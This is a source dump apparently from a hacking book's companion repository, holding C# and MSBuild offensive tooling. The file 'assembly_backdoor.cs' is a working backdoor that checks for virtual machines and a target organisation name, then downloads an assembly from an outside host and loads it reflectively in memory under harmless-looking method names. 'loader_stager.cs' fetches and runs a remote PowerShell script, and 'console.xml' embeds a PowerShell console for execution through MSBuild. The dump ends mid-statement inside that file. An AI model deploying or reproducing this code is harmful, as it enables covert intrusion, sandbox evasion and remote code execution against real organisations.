├── README.md ├── corporate.rule ├── cs_scripts ├── assembly_backdoor.cs └── loader_stager.cs ├── msbuild ├── console.xml └── psh.xml ├── old ├── chap1 │ ├── censys_search.py │ ├── query_whois.py │ └── requirements.txt ├── chap2 │ ├── console.xml │ └── psh.xml └── chap3 │ ├── assembly_backdoor.cs │ ├── corporate.rule │ ├── loader_stager.cs │ ├── msf_backdoor.cs │ ├── ps_backdoor.cs │ ├── wordcollector.py │ └── wrapper_assembly.cs ├── ps_scripts ├── Invoke-mimi.ps1 ├── kerberoast.ps1 └── miniview.ps1 └── py_scripts ├── censys_search.py ├── query_whois.py └── wordcollector.py /README.md: -------------------------------------------------------------------------------- 1 | # How to Hack Like a Ghost 2 | This repository hosts scripts and techniques featured in the book [How to Hack Like a Legend](https://nostarch.com/how-hack-legend) 3 | -------------------------------------------------------------------------------- /cs_scripts/assembly_backdoor.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Management; 3 | using Microsoft.Win32; 4 | using System.Net; 5 | using System.Reflection; 6 | using System.Threading; 7 | 8 | /* 9 | To compile add the reference in Visual studio to C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll 10 | Otherwise use csc.exe at http://bit.ly/3otOr4h with the command: 11 | c:\Microsoft.Net.Compilers.3.8.0\tools\csc.exe /reference:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /out:health-check.exe assembly_backdoor.cs 12 | 13 | Remember to change condition elements in Valid_Environment, Valid_Environment2 and Valid_launch methods to execute it your environment. 14 | Of course you need a working listener instance on your C2, Empire for instance. 15 | Full code detail available in How to Hack Like a Legend book. 16 | 17 | Sparc Flow 18 | */ 19 | namespace backdoor2 20 | { 21 | class Program 22 | { 23 | static void Main(string[] args) 24 | { 25 | new Thread(() => { 26 | Thread.CurrentThread.IsBackground = true; 27 | Prepare_shape_ui(); 28 | }).Start(); 29 | Console.WriteLine("Press any key to exit..."); 30 | Console.ReadKey(); 31 | 32 | } 33 | 34 | static private void Prepare_shape_ui() 35 | { 36 | if (Valid_environment() && Valid_launch()) 37 | Custom_shape_ui(); 38 | } 39 | static private bool Valid_launch() 40 | { 41 | return Need_upgrade() && Is_compatible(); 42 | } 43 | 44 | static private bool Need_upgrade() 45 | { 46 | string s = ""; 47 | try 48 | { 49 | WebClient client = new WebClient(); 50 | s = client.DownloadString("https://stratjumbotech.co/version"); 51 | } 52 | catch { } 53 | return s.Length > 0; 54 | } 55 | 56 | static private bool Is_compatible() 57 | { 58 | //Fetch a registry key value that would not exist on a normal system 59 | RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\UEV\\Agent"); 60 | //If key "Version" is not found, return true and proceed with the backdoor 61 | if (key != null && key.GetValue("Version") == null) 62 | { 63 | return true; 64 | } 65 | return false; 66 | } 67 | 68 | static private bool Valid_environment() 69 | { 70 | return Is_gpo_applied() && Valid_driver(); 71 | } 72 | static private bool Is_gpo_applied() 73 | { 74 | string query = "SELECT * FROM Win32_OperatingSystem"; 75 | var search = new ManagementObjectSearcher(query); 76 | foreach (ManagementObject obj in search.Get()) 77 | { 78 | var objectName = obj["Organization"]; 79 | if (objectName == null) { continue; } 80 | 81 | string name = objectName.ToString().Trim().ToLower(); 82 | if (name.StartsWith("gs") || name.StartsWith("g&s")) 83 | return true; 84 | } 85 | 86 | return false; 87 | } 88 | 89 | static private bool Valid_driver() 90 | { 91 | 92 | var query = "SELECT * FROM Win32_VideoController"; 93 | var search = new ManagementObjectSearcher(query); 94 | 95 | foreach (ManagementObject obj in search.Get()) 96 | { 97 | var objectName = obj["Name"]; 98 | if (objectName == null) { continue; } 99 | string name = objectName.ToString().Trim().ToLower(); 100 | 101 | //ualb is short for virtualbox and² mwa for vmware 102 | if (name.Contains("mwa") || name.Contains("ualb") || name.Contains("basic") || name.Contains("adapter")) 103 | return false; 104 | } 105 | 106 | //If none of the above checks work, Valid_environment returns true 107 | return true; 108 | } 109 | 110 | static private void Custom_shape_ui() 111 | { 112 | 113 | //Array that will hold our assembly 114 | byte[] myDataBuffer = null; 115 | 116 | //Use the default proxy registered on the system 117 | System.Net.WebRequest.DefaultWebProxy.Credentials = System.Net.CredentialCache.DefaultNetworkCredentials; 118 | 119 | //classic webclient object to download data 120 | WebClient myWebClient = new WebClient(); 121 | try 122 | { 123 | var url = "https://reporting.stratjumbo.co.au/health-check"; 124 | myDataBuffer = myWebClient.DownloadData(url); 125 | } 126 | catch { } 127 | 128 | //If the download fails return 129 | if (myDataBuffer == null) 130 | { 131 | Console.WriteLine("could not fetch program from listener"); 132 | return; 133 | } 134 | //Reflectively load it in memory 135 | Assembly a = Assembly.Load(myDataBuffer); 136 | Type t = a.GetType("fud_stager.Program"); 137 | MethodInfo staticMethodInfo = t.GetMethod("Main"); 138 | 139 | staticMethodInfo.Invoke(null, null); 140 | 141 | //End of Custom_shape_ui() method 142 | } 143 | 144 | } 145 | } 146 | -------------------------------------------------------------------------------- /cs_scripts/loader_stager.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | using System.Management.Automation; 4 | using System.Management.Automation.Host; 5 | using System.Management.Automation.Runspaces; 6 | using PowerShell = System.Management.Automation.PowerShell; 7 | 8 | /* 9 | To compile add the reference in Visual studio to C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll 10 | Otherwise use csc.exe at http://bit.ly/3otOr4h with the command: 11 | c:\Microsoft.Net.Compilers.3.8.0\tools\csc.exe /reference:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /out:health-check.exe Program.cs 12 | */ 13 | namespace fud_stager 14 | { 15 | class Program 16 | { 17 | static void Main(string[] args) 18 | { 19 | PowerShell Ps_instance = PowerShell.Create(); 20 | 21 | WebClient myWebClient = new WebClient(); 22 | try { 23 | var script1 = myWebClient.DownloadString("http://192.168.1.36:3333/full1.txt"); 24 | string[] array = script1.Split('\n'); 25 | foreach (string value in array) 26 | { 27 | Ps_instance.AddScript(value); 28 | } 29 | } catch{ 30 | } 31 | // 32 | //Ps_instance.AddScript(script2); 33 | Ps_instance.AddCommand("out-string"); 34 | Ps_instance.Invoke(); 35 | 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /msbuild/console.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 16 | 17 | 18 | 19 | 20 | 64 | /// This sample shows how to implement a basic read-evaluate-print 65 | /// loop (or 'listener') that allowing you to interactively work 66 | /// with the Windows PowerShell engine. 67 | /// 68 | internal class PSListenerConsoleSample 69 | { 70 | /// 71 | /// Used to read user input. 72 | /// 73 | // internal ConsoleReadLine consoleReadLine = new ConsoleReadLine(); 74 | 75 | /// 76 | /// Holds a reference to the runspace for this interpeter. 77 | /// 78 | internal Runspace myRunSpace; 79 | 80 | /// 81 | /// Indicator to tell the host application that it should exit. 82 | /// 83 | private bool shouldExit; 84 | 85 | /// 86 | /// The exit code that the host application will use to exit. 87 | /// 88 | private int exitCode; 89 | 90 | /// 91 | /// Holds a reference to the PSHost implementation for this interpreter. 92 | /// 93 | private MyHost myHost; 94 | 95 | /// 96 | /// Holds a reference to the currently executing pipeline so that it can be 97 | /// stopped by the control-C handler. 98 | /// 99 | private PowerShell currentPowerShell; 100 | 101 | /// 102 | /// Used to serialize access to instance data. 103 | /// 104 | private object instanceLock = new object(); 105 | 106 | /// 107 | /// Gets or sets a value indicating whether the host application 108 | /// should exit. 109 | /// 110 | public bool ShouldExit 111 | { 112 | get { return this.shouldExit; } 113 | set { this.shouldExit = value; } 114 | } 115 | 116 | /// 117 | /// Gets or sets a value indicating whether the host application 118 | /// should exit. 119 | /// 120 | public int ExitCode 121 | { 122 | get { return this.exitCode; } 123 | set { this.exitCode = value; } 124 | } 125 | 126 | /// 127 | /// Creates and initiates the listener instance. 128 | /// 129 | /// This parameter is not used. 130 | private static void Main(string[] args) 131 | { 132 | 133 | } 134 | 135 | /// 136 | /// Initializes a new instance of the PSListenerConsoleSample class. 137 | /// 138 | public PSListenerConsoleSample() 139 | { 140 | // Create the host and runspace instances for this interpreter. 141 | // Note that this application does not support console files so 142 | // only the default snap-ins will be available. 143 | this.myHost = new MyHost(this); 144 | this.myRunSpace = RunspaceFactory.CreateRunspace(this.myHost); 145 | this.myRunSpace.Open(); 146 | 147 | // Create a PowerShell object to run the commands used to create 148 | // $profile and load the profiles. 149 | lock (this.instanceLock) 150 | { 151 | this.currentPowerShell = PowerShell.Create(); 152 | } 153 | 154 | try 155 | { 156 | this.currentPowerShell.Runspace = this.myRunSpace; 157 | 158 | //PSCommand[] profileCommands = Microsoft.Samples.PowerShell.Host.HostUtilities.GetProfileCommands("SampleHost06"); 159 | //foreach (PSCommand command in profileCommands) 160 | //{ 161 | // this.currentPowerShell.Commands = command; 162 | //this.currentPowerShell.Invoke(); 163 | //} 164 | } 165 | finally 166 | { 167 | // Dispose the PowerShell object and set currentPowerShell 168 | // to null. It is locked because currentPowerShell may be 169 | // accessed by the ctrl-C handler. 170 | lock (this.instanceLock) 171 | { 172 | this.currentPowerShell.Dispose(); 173 | this.currentPowerShell = null; 174 | } 175 | } 176 | } 177 | 178 | /// 179 | /// A helper class that builds and executes a pipeline that writes 180 | /// to the default output path. Any exceptions that are thrown are 181 | /// just passed to the caller. Since all output goes to the default 182 | /// outter, this method does not return anything. 183 | /// 184 | /// The script to run. 185 | /// Any input arguments to pass to the script. 186 | /// If null then nothing is passed in. 187 | private void executeHelper(string cmd, object input) 188 | { 189 | // Ignore empty command lines. 190 | if (String.IsNullOrEmpty(cmd)) 191 | { 192 | return; 193 | } 194 | 195 | // Create the pipeline object and make it available to the 196 | // ctrl-C handle through the currentPowerShell instance 197 | // variable. 198 | lock (this.instanceLock) 199 | { 200 | this.currentPowerShell = PowerShell.Create(); 201 | } 202 | 203 | // Add a script and command to the pipeline and then run the pipeline. Place 204 | // the results in the currentPowerShell variable so that the pipeline can be 205 | // stopped. 206 | try 207 | { 208 | this.currentPowerShell.Runspace = this.myRunSpace; 209 | 210 | this.currentPowerShell.AddScript(cmd); 211 | 212 | // Add the default outputter to the end of the pipe and then call the 213 | // MergeMyResults method to merge the output and error streams from the 214 | // pipeline. This will result in the output being written using the PSHost 215 | // and PSHostUserInterface classes instead of returning objects to the host 216 | // application. 217 | this.currentPowerShell.AddCommand("out-default"); 218 | this.currentPowerShell.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); 219 | 220 | // If there is any input pass it in, otherwise just invoke the 221 | // the pipeline. 222 | if (input != null) 223 | { 224 | this.currentPowerShell.Invoke(new object[] { input }); 225 | } 226 | else 227 | { 228 | this.currentPowerShell.Invoke(); 229 | } 230 | } 231 | finally 232 | { 233 | // Dispose the PowerShell object and set currentPowerShell to null. 234 | // It is locked because currentPowerShell may be accessed by the 235 | // ctrl-C handler. 236 | lock (this.instanceLock) 237 | { 238 | this.currentPowerShell.Dispose(); 239 | this.currentPowerShell = null; 240 | } 241 | } 242 | } 243 | 244 | /// 245 | /// To display an exception using the display formatter, 246 | /// run a second pipeline passing in the error record. 247 | /// The runtime will bind this to the $input variable, 248 | /// which is why $input is being piped to the Out-String 249 | /// cmdlet. The WriteErrorLine method is called to make sure 250 | /// the error gets displayed in the correct error color. 251 | /// 252 | /// The exception to display. 253 | private void ReportException(Exception e) 254 | { 255 | if (e != null) 256 | { 257 | object error; 258 | IContainsErrorRecord icer = e as IContainsErrorRecord; 259 | if (icer != null) 260 | { 261 | error = icer.ErrorRecord; 262 | } 263 | else 264 | { 265 | error = (object)new ErrorRecord(e, "Host.ReportException", ErrorCategory.NotSpecified, null); 266 | } 267 | 268 | lock (this.instanceLock) 269 | { 270 | this.currentPowerShell = PowerShell.Create(); 271 | } 272 | 273 | this.currentPowerShell.Runspace = this.myRunSpace; 274 | 275 | try 276 | { 277 | this.currentPowerShell.AddScript("$input").AddCommand("out-string"); 278 | 279 | // Do not merge errors, this function will swallow errors. 280 | Collection result; 281 | PSDataCollection inputCollection = new PSDataCollection(); 282 | inputCollection.Add(error); 283 | inputCollection.Complete(); 284 | result = this.currentPowerShell.Invoke(inputCollection); 285 | 286 | if (result.Count > 0) 287 | { 288 | string str = result[0].BaseObject as string; 289 | if (!string.IsNullOrEmpty(str)) 290 | { 291 | // Remove \r\n, which is added by the Out-String cmdlet. 292 | this.myHost.UI.WriteErrorLine(str.Substring(0, str.Length - 2)); 293 | } 294 | } 295 | } 296 | finally 297 | { 298 | // Dispose of the pipeline and set it to null, locking it because 299 | // currentPowerShell may be accessed by the ctrl-C handler. 300 | lock (this.instanceLock) 301 | { 302 | this.currentPowerShell.Dispose(); 303 | this.currentPowerShell = null; 304 | } 305 | } 306 | } 307 | } 308 | 309 | /// 310 | /// Basic script execution routine. Any runtime exceptions are 311 | /// caught and passed back to the Windows PowerShell engine to 312 | /// display. 313 | /// 314 | /// Script to run. 315 | private void Execute(string cmd) 316 | { 317 | try 318 | { 319 | // Run the command with no input. 320 | this.executeHelper(cmd, null); 321 | } 322 | catch (RuntimeException rte) 323 | { 324 | this.ReportException(rte); 325 | } 326 | } 327 | 328 | /// 329 | /// Method used to handle control-C's from the user. It calls the 330 | /// pipeline Stop() method to stop execution. If any exceptions occur 331 | /// they are printed to the console but otherwise ignored. 332 | /// 333 | /// See sender property documentation of 334 | /// ConsoleCancelEventHandler. 335 | /// See e property documentation of 336 | /// ConsoleCancelEventHandler. 337 | private void HandleControlC(object sender, ConsoleCancelEventArgs e) 338 | { 339 | try 340 | { 341 | lock (this.instanceLock) 342 | { 343 | if (this.currentPowerShell != null && this.currentPowerShell.InvocationStateInfo.State == PSInvocationState.Running) 344 | { 345 | this.currentPowerShell.Stop(); 346 | } 347 | } 348 | 349 | e.Cancel = true; 350 | } 351 | catch (Exception exception) 352 | { 353 | this.myHost.UI.WriteErrorLine(exception.ToString()); 354 | } 355 | } 356 | 357 | /// 358 | /// Implements the basic listener loop. It sets up the ctrl-C handler, then 359 | /// reads a command from the user, executes it and repeats until the ShouldExit 360 | /// flag is set. 361 | /// 362 | public void Run() 363 | { 364 | int bufSize = 8192; 365 | Stream inStream = Console.OpenStandardInput(bufSize); 366 | Console.SetIn(new StreamReader(inStream, Console.InputEncoding, false, bufSize)); 367 | 368 | // Set up the control-C handler. 369 | Console.CancelKeyPress += new ConsoleCancelEventHandler(this.HandleControlC); 370 | Console.TreatControlCAsInput = false; 371 | 372 | // Read commands and run them until the ShouldExit flag is set by 373 | // the user calling "exit". 374 | while (!this.ShouldExit) 375 | { 376 | string prompt; 377 | if (this.myHost.IsRunspacePushed) 378 | { 379 | prompt = string.Format("\n[{0}] PS: ", this.myRunSpace.SessionStateProxy.Path.CurrentFileSystemLocation.Path); 380 | } 381 | else 382 | { 383 | prompt = string.Format("\nPS: {0}> ", this.myRunSpace.SessionStateProxy.Path.CurrentFileSystemLocation.Path); 384 | } 385 | 386 | this.myHost.UI.Write(ConsoleColor.Cyan, ConsoleColor.Black, prompt); 387 | 388 | Console.CancelKeyPress += new ConsoleCancelEventHandler(this.myHandler); 389 | 390 | //string cmd = this.consoleReadLine.Read(); 391 | 392 | string cmd = Console.ReadLine(); 393 | 394 | if (cmd == "cls") 395 | { 396 | Console.Clear(); 397 | } else { 398 | this.Execute(cmd); 399 | } 400 | } 401 | // 402 | // Exit with the desired exit code that was set by the exit command. 403 | // The exit code is set in the host by the MyHost.SetShouldExit() method. 404 | Environment.Exit(this.ExitCode); 405 | } 406 | public void myHandler(object sender, ConsoleCancelEventArgs args) 407 | { 408 | this.myHost.SetShouldExit(1); 409 | Environment.Exit(this.ExitCode); 410 | 411 | //this.myHost.UI.WriteLine(ConsoleColor.Red, ConsoleColor.Black, "Enter exit instead..."); 412 | 413 | } 414 | 415 | } 416 | 417 | internal class MyHost : PSHost, IHostSupportsInteractiveSession 418 | { 419 | public MyHost(PSListenerConsoleSample program) 420 | { 421 | this.program = program; 422 | } 423 | 424 | /// 425 | /// A reference to the PSHost implementation. 426 | /// 427 | private PSListenerConsoleSample program; 428 | 429 | /// 430 | /// The culture information of the thread that created 431 | /// this object. 432 | /// 433 | private CultureInfo originalCultureInfo = 434 | System.Threading.Thread.CurrentThread.CurrentCulture; 435 | 436 | /// 437 | /// The UI culture information of the thread that created 438 | /// this object. 439 | /// 440 | private CultureInfo originalUICultureInfo = 441 | System.Threading.Thread.CurrentThread.CurrentUICulture; 442 | 443 | /// 444 | /// The identifier of this PSHost implementation. 445 | /// 446 | private static Guid instanceId = Guid.NewGuid(); 447 | 448 | /// 449 | /// A reference to the implementation of the PSHostUserInterface 450 | /// class for this application. 451 | /// 452 | private MyHostUserInterface myHostUserInterface = new MyHostUserInterface(); 453 | 454 | /// 455 | /// A reference to the runspace used to start an interactive session. 456 | /// 457 | public Runspace pushedRunspace = null; 458 | 459 | 460 | /// 461 | /// Gets the culture information to use. This implementation 462 | /// returns a snapshot of the culture information of the thread 463 | /// that created this object. 464 | /// 465 | public override CultureInfo CurrentCulture 466 | { 467 | get { return this.originalCultureInfo; } 468 | } 469 | 470 | /// 471 | /// Gets the UI culture information to use. This implementation 472 | /// returns a snapshot of the UI culture information of the thread 473 | /// that created this object. 474 | /// 475 | public override CultureInfo CurrentUICulture 476 | { 477 | get { return this.originalUICultureInfo; } 478 | } 479 | 480 | /// 481 | /// Gets an identifier for this host. This implementation always 482 | /// returns the GUID allocated at instantiation time. 483 | /// 484 | public override Guid InstanceId 485 | { 486 | get { return instanceId; } 487 | } 488 | 489 | /// 490 | /// Gets a string that contains the name of this host implementation. 491 | /// Keep in mind that this string may be used by script writers to 492 | /// identify when your host is being used. 493 | /// 494 | public override string Name 495 | { 496 | get { return "MySampleConsoleHostImplementation"; } 497 | } 498 | 499 | /// 500 | /// Gets an instance of the implementation of the PSHostUserInterface 501 | /// class for this application. This instance is allocated once at startup time 502 | /// and returned every time thereafter. 503 | /// 504 | public override PSHostUserInterface UI 505 | { 506 | get { return this.myHostUserInterface; } 507 | } 508 | 509 | /// 510 | /// Gets the version object for this application. Typically this 511 | /// should match the version resource in the application. 512 | /// 513 | public override Version Version 514 | { 515 | get { return new Version(1, 0, 0, 0); } 516 | } 517 | 518 | #region IHostSupportsInteractiveSession Properties 519 | 520 | /// 521 | /// Gets a value indicating whether a request 522 | /// to open a PSSession has been made. 523 | /// 524 | public bool IsRunspacePushed 525 | { 526 | get { return this.pushedRunspace != null; } 527 | } 528 | 529 | /// 530 | /// Gets or sets the runspace used by the PSSession. 531 | /// 532 | public Runspace Runspace 533 | { 534 | get { return this.program.myRunSpace; } 535 | internal set { this.program.myRunSpace = value; } 536 | } 537 | #endregion IHostSupportsInteractiveSession Properties 538 | 539 | /// 540 | /// This API Instructs the host to interrupt the currently running 541 | /// pipeline and start a new nested input loop. In this example this 542 | /// functionality is not needed so the method throws a 543 | /// NotImplementedException exception. 544 | /// 545 | public override void EnterNestedPrompt() 546 | { 547 | throw new NotImplementedException( 548 | "The method or operation is not implemented."); 549 | } 550 | 551 | /// 552 | /// This API instructs the host to exit the currently running input loop. 553 | /// In this example this functionality is not needed so the method 554 | /// throws a NotImplementedException exception. 555 | /// 556 | public override void ExitNestedPrompt() 557 | { 558 | throw new NotImplementedException( 559 | "The method or operation is not implemented."); 560 | } 561 | 562 | /// 563 | /// This API is called before an external application process is 564 | /// started. Typically it is used to save state so that the parent 565 | /// can restore state that has been modified by a child process (after 566 | /// the child exits). In this example this functionality is not 567 | /// needed so the method returns nothing. 568 | /// 569 | public override void NotifyBeginApplication() 570 | { 571 | return; 572 | } 573 | 574 | /// 575 | /// This API is called after an external application process finishes. 576 | /// Typically it is used to restore state that a child process has 577 | /// altered. In this example, this functionality is not needed so 578 | /// the method returns nothing. 579 | /// 580 | public override void NotifyEndApplication() 581 | { 582 | return; 583 | } 584 | 585 | /// 586 | /// Indicate to the host application that exit has 587 | /// been requested. Pass the exit code that the host 588 | /// application should use when exiting the process. 589 | /// 590 | /// The exit code that the 591 | /// host application should use. 592 | public override void SetShouldExit(int exitCode) 593 | { 594 | this.program.ShouldExit = true; 595 | this.program.ExitCode = exitCode; 596 | } 597 | 598 | #region IHostSupportsInteractiveSession Methods 599 | 600 | /// 601 | /// Requests to close a PSSession. 602 | /// 603 | public void PopRunspace() 604 | { 605 | Runspace = this.pushedRunspace; 606 | this.pushedRunspace = null; 607 | } 608 | 609 | /// 610 | /// Requests to open a PSSession. 611 | /// 612 | /// Runspace to use. 613 | public void PushRunspace(Runspace runspace) 614 | { 615 | this.pushedRunspace = Runspace; 616 | Runspace = runspace; 617 | } 618 | 619 | #endregion IHostSupportsInteractiveSession Methods 620 | } 621 | 622 | internal class MyHostUserInterface : PSHostUserInterface, IHostUISupportsMultipleChoiceSelection 623 | { 624 | /// 625 | /// A reference to the PSRawUserInterface implementation. 626 | /// 627 | private MyRawUserInterface myRawUi = new MyRawUserInterface(); 628 | 629 | /// 630 | /// Gets an instance of the PSRawUserInterface class for this host 631 | /// application. 632 | /// 633 | public override PSHostRawUserInterface RawUI 634 | { 635 | get { return this.myRawUi; } 636 | } 637 | 638 | /// 639 | /// Prompts the user for input. 640 | /// The caption or title of the prompt. 641 | /// The text of the prompt. 642 | /// A collection of FieldDescription objects 643 | /// that describe each field of the prompt. 644 | /// A dictionary object that contains the results of the user 645 | /// prompts. 646 | public override Dictionary Prompt( 647 | string caption, 648 | string message, 649 | Collection descriptions) 650 | { 651 | this.Write( 652 | ConsoleColor.DarkCyan, 653 | ConsoleColor.Black, 654 | caption + "\n" + message + " "); 655 | Dictionary results = 656 | new Dictionary(); 657 | foreach (FieldDescription fd in descriptions) 658 | { 659 | string[] label = GetHotkeyAndLabel(fd.Label); 660 | this.WriteLine(label[1]); 661 | string userData = Console.ReadLine(); 662 | if (userData == null) 663 | { 664 | return null; 665 | } 666 | 667 | results[fd.Name] = PSObject.AsPSObject(userData); 668 | } 669 | 670 | return results; 671 | } 672 | 673 | /// 674 | 675 | /// Provides a set of choices that enable the user to choose a 676 | /// single option from a set of options. 677 | /// 678 | /// Text that proceeds (a title) the choices. 679 | /// A message that describes the choice. 680 | /// A collection of ChoiceDescription objects that 681 | /// describ each choice. 682 | /// The index of the label in the Choices 683 | /// parameter collection. To indicate no default choice, set to -1. 684 | /// The index of the Choices parameter collection element that 685 | /// corresponds to the option that is selected by the user. 686 | public override int PromptForChoice( 687 | string caption, 688 | string message, 689 | Collection choices, 690 | int defaultChoice) 691 | { 692 | // Write the caption and message strings in Blue. 693 | this.WriteLine( 694 | ConsoleColor.Blue, 695 | ConsoleColor.Black, 696 | caption + "\n" + message + "\n"); 697 | 698 | // Convert the choice collection into something that is 699 | // easier to work with. See the BuildHotkeysAndPlainLabels 700 | // method for details. 701 | string[,] promptData = BuildHotkeysAndPlainLabels(choices); 702 | 703 | // Format the overall choice prompt string to display. 704 | StringBuilder sb = new StringBuilder(); 705 | for (int element = 0; element < choices.Count; element++) 706 | { 707 | sb.Append(String.Format( 708 | CultureInfo.CurrentCulture, 709 | "|{0}> {1} ", 710 | promptData[0, element], 711 | promptData[1, element])); 712 | } 713 | 714 | sb.Append(String.Format( 715 | CultureInfo.CurrentCulture, 716 | "[Default is ({0}]", 717 | promptData[0, defaultChoice])); 718 | 719 | // Read prompts until a match is made, the default is 720 | // chosen, or the loop is interrupted with ctrl-C. 721 | while (true) 722 | { 723 | this.WriteLine(ConsoleColor.Cyan, ConsoleColor.Black, sb.ToString()); 724 | string data = Console.ReadLine().Trim().ToUpper(CultureInfo.CurrentCulture); 725 | 726 | // If the choice string was empty, use the default selection. 727 | if (data.Length == 0) 728 | { 729 | return defaultChoice; 730 | } 731 | 732 | // See if the selection matched and return the 733 | // corresponding index if it did. 734 | for (int i = 0; i < choices.Count; i++) 735 | { 736 | if (promptData[0, i] == data) 737 | { 738 | return i; 739 | } 740 | } 741 | 742 | this.WriteErrorLine("Invalid choice: " + data); 743 | } 744 | } 745 | 746 | #region IHostUISupportsMultipleChoiceSelection Members 747 | 748 | /// 749 | /// Provides a set of choices that enable the user to choose a one or 750 | /// more options from a set of options. 751 | /// 752 | /// Text that proceeds (a title) the choices. 753 | /// A message that describes the choice. 754 | /// A collection of ChoiceDescription objects that 755 | /// describ each choice. 756 | /// The index of the label in the Choices 757 | /// parameter collection. To indicate no default choice, set to -1. 758 | /// The index of the Choices parameter collection element that 759 | /// corresponds to the option that is selected by the user. 760 | public Collection PromptForChoice( 761 | string caption, 762 | string message, 763 | Collection choices, 764 | IEnumerable defaultChoices) 765 | { 766 | // Write the caption and message strings in Blue. 767 | this.WriteLine( 768 | ConsoleColor.Blue, 769 | ConsoleColor.Black, 770 | caption + "\n" + message + "\n"); 771 | 772 | // Convert the choice collection into something that is 773 | // easier to work with. See the BuildHotkeysAndPlainLabels 774 | // method for details. 775 | string[,] promptData = BuildHotkeysAndPlainLabels(choices); 776 | 777 | // Format the overall choice prompt string to display. 778 | StringBuilder sb = new StringBuilder(); 779 | for (int element = 0; element < choices.Count; element++) 780 | { 781 | sb.Append(String.Format( 782 | CultureInfo.CurrentCulture, 783 | "|{0}> {1} ", 784 | promptData[0, element], 785 | promptData[1, element])); 786 | } 787 | 788 | Collection defaultResults = new Collection(); 789 | if (defaultChoices != null) 790 | { 791 | int countDefaults = 0; 792 | foreach (int defaultChoice in defaultChoices) 793 | { 794 | ++countDefaults; 795 | defaultResults.Add(defaultChoice); 796 | } 797 | 798 | if (countDefaults != 0) 799 | { 800 | sb.Append(countDefaults == 1 ? "[Default choice is " : "[Default choices are "); 801 | foreach (int defaultChoice in defaultChoices) 802 | { 803 | sb.AppendFormat( 804 | CultureInfo.CurrentCulture, 805 | "\"{0}\",", 806 | promptData[0, defaultChoice]); 807 | } 808 | 809 | sb.Remove(sb.Length - 1, 1); 810 | sb.Append("]"); 811 | } 812 | } 813 | 814 | this.WriteLine( 815 | ConsoleColor.Cyan, 816 | ConsoleColor.Black, 817 | sb.ToString()); 818 | // Read prompts until a match is made, the default is 819 | // chosen, or the loop is interrupted with ctrl-C. 820 | Collection results = new Collection(); 821 | while (true) 822 | { 823 | ReadNext: 824 | string prompt = string.Format(CultureInfo.CurrentCulture, "Choice[{0}]:", results.Count); 825 | this.Write(ConsoleColor.Cyan, ConsoleColor.Black, prompt); 826 | string data = Console.ReadLine().Trim().ToUpper(CultureInfo.CurrentCulture); 827 | 828 | // If the choice string was empty, no more choices have been made. 829 | // If there were no choices made, return the defaults 830 | if (data.Length == 0) 831 | { 832 | return (results.Count == 0) ? defaultResults : results; 833 | } 834 | 835 | // See if the selection matched and return the 836 | // corresponding index if it did. 837 | for (int i = 0; i < choices.Count; i++) 838 | { 839 | if (promptData[0, i] == data) 840 | { 841 | results.Add(i); 842 | goto ReadNext; 843 | } 844 | } 845 | 846 | this.WriteErrorLine("Invalid choice: " + data); 847 | } 848 | } 849 | 850 | #endregion 851 | 852 | /// 853 | /// Prompts the user for credentials with a specified prompt window 854 | /// caption, prompt message, user name, and target name. In this 855 | /// example this functionality is not needed so the method throws a 856 | /// NotImplementException exception. 857 | /// 858 | /// The caption for the message window. 859 | /// The text of the message. 860 | /// The user name whose credential is to be 861 | /// prompted for. 862 | /// The name of the target for which the 863 | /// credential is collected. 864 | /// Throws a NotImplementedException exception. 865 | public override PSCredential PromptForCredential( 866 | string caption, 867 | string message, 868 | string userName, 869 | string targetName) 870 | { 871 | throw new NotImplementedException( 872 | "The method or operation is not implemented."); 873 | } 874 | 875 | /// 876 | /// Prompts the user for credentials by using a specified prompt window 877 | /// caption, prompt message, user name and target name, credential 878 | /// types allowed to be returned, and UI behavior options. In this 879 | /// example this functionality is not needed so the method throws a 880 | /// NotImplementException exception. 881 | /// 882 | /// The caption for the message window. 883 | /// The text of the message. 884 | /// The user name whose credential is to be 885 | /// prompted for. 886 | /// The name of the target for which the 887 | /// credential is collected. 888 | /// A PSCredentialTypes constant 889 | /// that identifies the type of credentials that can be returned. 890 | /// A PSCredentialUIOptions constant that 891 | /// identifies the UI behavior when it gathers the credentials. 892 | /// Throws a NotImplementedException exception. 893 | public override PSCredential PromptForCredential( 894 | string caption, 895 | string message, 896 | string userName, 897 | string targetName, 898 | PSCredentialTypes allowedCredentialTypes, 899 | PSCredentialUIOptions options) 900 | { 901 | throw new NotImplementedException( 902 | "The method or operation is not implemented."); 903 | } 904 | 905 | /// 906 | /// Reads characters that are entered by the user until a newline 907 | /// (carriage return) is encountered. 908 | /// 909 | /// The characters that are entered by the user. 910 | public override string ReadLine() 911 | { 912 | return Console.ReadLine(); 913 | } 914 | 915 | /// 916 | /// Reads characters entered by the user until a newline (carriage return) 917 | /// is encountered and returns the characters as a secure string. In this 918 | /// example this functionality is not needed so the method throws a 919 | /// NotImplementException exception. 920 | /// 921 | /// Throws a NotImplemented exception. 922 | public override System.Security.SecureString ReadLineAsSecureString() 923 | { 924 | throw new NotImplementedException("The method or operation is not implemented."); 925 | } 926 | 927 | /// 928 | /// Writes characters to the output display of the host. 929 | /// 930 | /// The characters to be written. 931 | public override void Write(string value) 932 | { 933 | Console.Write(value); 934 | } 935 | 936 | /// 937 | /// Writes characters to the output display of the host with possible 938 | /// foreground and background colors. 939 | /// 940 | /// The color of the characters. 941 | /// The backgound color to use. 942 | /// The characters to be written. 943 | public override void Write( 944 | ConsoleColor foregroundColor, 945 | ConsoleColor backgroundColor, 946 | string value) 947 | { 948 | ConsoleColor oldFg = Console.ForegroundColor; 949 | ConsoleColor oldBg = Console.BackgroundColor; 950 | Console.ForegroundColor 